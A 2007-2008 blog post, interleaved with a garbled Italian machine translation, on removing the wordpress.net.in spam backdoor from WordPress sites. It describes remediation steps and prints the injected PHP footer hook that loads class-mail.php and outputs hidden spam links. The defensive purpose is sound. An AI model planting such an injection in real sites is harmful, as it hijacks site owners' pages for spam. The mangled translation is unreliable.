How to Remove Wordpress.net.in Spam Injection How to Remove Wordpress.net.in Spam Injection Come rimuovere Wordpress.net.in spam iniezione come rimuovere lo spam Wordpress.net.in iniezione

I found this while browsing WordPress support forum, some of these victims update their default_filters.php and upload class-mail.php inside their WordPress without being aware that it’sa backdoor (wordpress.net.in). Ho trovato questo durante la navigazione WordPress forum di supporto, alcune di queste vittime aggiornare le loro default_filters.php e carica-mail.php classe all'interno del loro WordPress senza essere a conoscenza del fatto che si tratta di una backdoor (wordpress.net.in). There is no class-mail.php in WordPress except class-phpmailer.php . Non vi è alcuna classe-mail.php in WordPress, ad eccezione di classe phpmailer.php. So don’t get confuse by it. Quindi non confondere ottenere da essa.

Below is a quick workaround on how you can removed the offending goro spamware injection before Google banned you from the internet pipes. Qui di seguito è una rapida soluzione su come si può offendere rimosso il Goro spamware prima iniezione di Google è vietato da internet tubi.

Workaround Soluzione

• For temporary disable remote include in php.ini settings. Per disattivare temporaneamente remoto includono impostazioni di php.ini.

   ;;;;;;;;;;;;;;;;;; ; Fopen wrappers ; ;;;;;;;;;;;;;;;;;;  ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. ;;;;;;;;;;;;;;;;;;; Fopen wrapper; ;;;;;;;;;;;;;;;;;;; se consentire il trattamento di URL (come http:// o ftp://) come file. allow_url_fopen = off allow_url_include = off allow_url_fopen = off allow_url_include = off 

• Check your .htaccess for suspicious redirect. Controlla il tuo. Htaccess per sospette reindirizzamento.
• Find class-mail.php inside “*/wp-includes/” directory and removed it. Trova classe-mail.php dentro "* / wp-includes /" directory e rimosso.
• Find the following code inside “*/wp-includes/default_filters.php” and removed it Trova il seguente codice all'interno di "* / wp-includes/default_filters.php" e rimosso

   add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775'); function wpc7c16<>b8466d864eeefd20050625c7775() { @include(’./wp-includes/class-mail.php’); if(sizeof($wparr)>0){ echo “!div id=\”goro\”!”; foreach($wparr as $k=>$v){ echo ““.ucwords($v[’key’]).”\n”; if($i  ==$inum) break; } echo “!/div!”.$_footer; } } add_action ( 'wp_footer', 'wpc7c16b8466d864eeefd20050625c7775'); funzione wpc7c16 <> b8466d864eeefd20050625c7775 () (@ include ( '. / wp-includes / class-mail.php'); if (sizeof ($ wparr)> 0) (echo " ! div id = \ "Goro \"! "; foreach ($ wparr come $ k => $ v) (echo" ". ucwords ($ v [ 'chiave'])." \ n"; if ($ i     = = $ inum) break;) echo "! / div !".$_ piè di pagina;)) 

• Robots.txt Exclusion Esclusione robots.txt

  Optional - Prevent googlebot from indexing the static spam page. Opzionale - impedire a Googlebot di indicizzare la pagina statica di spam.
  Login to Wordpress Admin > Manage > Files > Other Files → Key in “Robots.txt”. Login per WordPress Admin> Gestisci> File> Altri File → Digitare "robots.txt". Add the following code. Aggiungere il seguente codice.

   User-agent: Googlebot Disallow: /*?* Disallow: /*? User-agent: Googlebot Disallow: / *? * Disallow: / *? 

  Refer robots.txt . Fare riferimento robots.txt.

Possible WordPress class (suspicious) files that would be tempered WordPress possibile classe (sospette) file che sarebbe temperato

Md5 checksum the following files, compare it with official versions from WordPress Release Archive . Md5 checksum i seguenti file, confrontarlo con le versioni ufficiali da WordPress Uscita Archivio.

• wp-db.php WP-db.php
• gettext.php gettext.php

The above methods only remove and disabled the spams links, there is no guarantee that it will protected you from future vulnerabilities. Metodi sopra descritti solo disabili e rimuovere il link spam, non vi è alcuna garanzia che esso è protetto dal futuro vulnerabilità. Backup (or export your post using WordPress eXtended RSS -WRX) and perform a full upgrade . Backup (o esportare il tuo post utilizzando WordPress eXtended RSS-WRX) e di eseguire un aggiornamento completo.

Dec 13, 2007 Dicembre 13, 2007

I just notice this recently. Ho appena presente Avviso di recente. You’ll need to check your site HTTP Header. Devi controllare il tuo sito HTTP. Most of the hijacked websites doesn’t response with correct HTTP Status Header (400<>500) . La maggior parte dei siti web dirottato non corretta risposta con stato HTTP Header (400 <> 500). My guess is they did this to cloak from being crawl by search engine spiders. Indovinare la mia è che ha fatto questo a mantello da eseguire la scansione di spider dei motori di ricerca. If you had cleaned all the infected files and your header doesn’t response correctly get a rookit scanner . Se si ha puliti tutti i file infetti e il tuo header di risposta non correttamente ottenere un rookit scanner.

Check your website status header, try cloak your browser (UA) as Search Engine Crawler. Controlla il tuo sito web status di intestazione, prova il tuo browser mantello (UA) come motore di ricerca spider. The following screenshot will show you how to setup this at web-sniffer.net. Il seguente schermata vi mostrerà come configurare questo a web-sniffer.net.

This methods may not work if the cloaking scripts used IP base tracking. Metodi di questo potrebbe non funzionare se il cloaking script utilizzati IP di base di monitoraggio. So try on different user agent string (ie: inoktomi, askjeeves, ia_archiver). Così provare a diversi stringa agente utente (vale a dire: inoktomi, askjeeves, ia_archiver).

Firefox Browser Browser Firefox

You can also override your useragent string with firefox ↓. È anche possibile ignorare il tuo UserAgent stringa con Firefox ↓.

about:config → general.useragent.overide = ‘ ua strings ‘ about: config → general.useragent.overide = 'ua stringhe'

Wordpress.net.in Backdoor Wordpress.net.in Backdoor

Extra info Ulteriori informazioni

Dec 14, 2007 Dec 14, 2007

I did some research at archive.org . Ho fatto qualche ricerca in archive.org. It seem our wordpress.net.in Seo Spam has been going on since 2005. Sembra il nostro wordpress.net.in Seo Spam è in corso dal 2005. The first variant used file_get_contents() PHP functions to retrieve their sources code (A UTF MAP Decoder 1974 Php Class ). La prima variante utilizzata file_get_contents () funzioni PHP per recuperare le loro fonti di codice (A UTF MAPPA Decoder Php classe 1974).

I also found a signature name alxumuk (at MIT & wordpress.net.in). Ho anche trovato un nome firma alxumuk (al MIT e wordpress.net.in). His first historic test can be root back at *.media.mit.edu/~? server (I hide the userid as it may be “false positive”). Il suo primo storico di prova può essere root ritornare a *. media.mit.edu / ~? Server (a nascondere il codice utente in quanto può essere "falsi positivi"). After my first search on google for alxumuk all the results has been scraped out by Google & “Google alert” so there is no references to this query in Google Index. Dopo la mia prima ricerca su google per alxumuk tutti i risultati sono stati raschiati fuori da Google & "Google Alert", perché non vi è alcun riferimento a questa ricerca in Google.

My query for file_get_contents include require allintext:1974.* (the UTF decode package) and the signature (alxumuk) will return 403 Forbidden . La mia ricerca per comprendere file_get_contents richiedono allintext: 1974 .* (UTF decodificare il pacchetto) e la firma (alxumuk) restituirà 403 Non.

As Google Advanced Search blocked “the query” this may confirm that 1974.* (UTF decode) is probably the package for reading the bootstrap for wordpress.net.in backdoor (similar case like perl.santy net worm). Come Google Ricerca Avanzata bloccato "alla ricerca del termine" questo può confermare che 1974 .* (UTF decodificare) è probabilmente il pacchetto per la lettura di bootstrap per wordpress.net.in backdoor (simile caso come perl.santy netto worm).

If this is a true Net Worm, I suggest anyone with older versions of Wordpress should removed\ the meta generator tag (Wordpress versions) and disabled XML-RPC(& RSD) for hardening wordpress from remote vectors vulnerabilities. Se questo è un vero Net Worm, suggerisco chiunque con le versioni precedenti di Wordpress dovrebbero rimosso \ generatore di meta tag (le versioni di Wordpress) e disabili XML-RPC (& DSR) per indurimento wordpress da remoto vettori vulnerabilità.

Wordpress.net.in Doorway Wordpress.net.in Doorway

Dec 24, 2007 → http://www.wordpress.net.in/mentors/alxumuk/ Dicembre 24, 2007 → http://www.wordpress.net.in/mentors/alxumuk/

Backdoor Files Backdoor File

inside wp-includes directory. all'interno di wp-include directory.

• compat.php - (replace with latest version) compat.php - (sostituire con versione più recente)
• class-mail.php delete classe-mail.php eliminare

scan & removes all backdoor files and create a .htaccess file inside wp-includes & wp-content/plugins . Scan & backdoor rimuove tutti i file e creare un file. htaccess file all'interno di wp-include & wp-content/plugins. Then add the following code to disabled directory listing (prevent informations leak & Directory search index). Quindi aggiungere il seguente codice per disabili elenco di directory (prevenire perdite e informazioni Directory indice di ricerca).

 Options -Indexes Opzioni-Indici 

Wordpress.net.in New Partner Wordpress.net.in nuovo partner

Feb 23th 2008 , We found a similar signature like wordpress.net.in at qwetro.com (germany). 23 febbraio 2008, abbiamo trovato una firma simile a come wordpress.net.in qwetro.com (Germania). Probably from the same attacker with different agenda. Probabilmente dallo stesso attaccante con diverse ordine del giorno.

Related Posts Posti connessi

• Bluehost HostMonster CEO’s Blog hacked (wordpress.net.in) Bluehost HostMonster CEO's Blog inciso (wordpress.net.in)
• Matt Heaton Bluehost Hostmonster CEO’s Hacked Again - Strike II Matt Heaton Bluehost Hostmonster dell'Amministratore Delegato nuovamente inciso - Strike II

External Links Collegamenti esterni

• Websniffer View HTTP Request and Response Header Websniffer vista richiesta HTTP e la risposta header
• Wordpress Support Forum Wordpress forum di supporto
• National Vulnerability Database Wordpress 2.0 > 2.0.6 Vulnerability Database nazionale Wordpress 2,0> 2.0.6

Short URL URL breve

Bookmarks Segnalibri

• Share This Questa quota